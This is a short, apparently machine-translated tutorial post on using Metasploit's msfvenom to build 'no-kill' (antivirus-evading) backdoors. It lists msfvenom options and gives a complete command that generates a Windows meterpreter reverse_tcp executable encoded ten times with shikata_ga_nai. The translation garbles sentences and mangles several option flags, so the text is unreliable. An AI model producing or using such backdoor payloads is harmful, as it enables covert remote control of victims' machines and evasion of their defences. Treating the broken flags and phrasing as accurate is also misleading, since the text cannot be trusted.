really all do not kill is not, part still can, mainly is introduce msfvenom.
-----
There are still a lot of instructional videos and materials that are used before the Kali version. With the update some commands are not adapted to the newest Kali. (also a person who has fallen out of the pit)
After Msfvenom integrates Msfpayload and msfencode,2015, the latter two items are removed. It is not possible to follow some tutorials to lose two commands.
Msfvenom Important parameters: (You can use msfvenom-h to see all parameters)
- p payload settings
- e encoding settings
-a system structure, default x86
- s payload maximum size
-I Number of codes
- f generate file format
Several other commands:
Platform View: Msfvenom--help-platforms
Specify target platform:--platform XXX
Format view: Msfvenom--help-formats
View payload settings: Msfvenom-p <payload name>--payload-options (You can find a lot more details about this payload suitable platform, etc.)
Note: If you want to create a x64 load, you need to use-a x64
Generate Backdoor files correctly:
Msfvenom-p windows/meterpreter/reverse_tcp-e x86/shikata_ga_nai-i 10-f exe >1.exe
Reference article: https://www.hackers-arise.com/single-post/2017/07/31/ Metasploit-basics-part-9-using-msfvenom-to-create-custom-payloads
Metasploit production of no-kill backdoor-----Msfvenom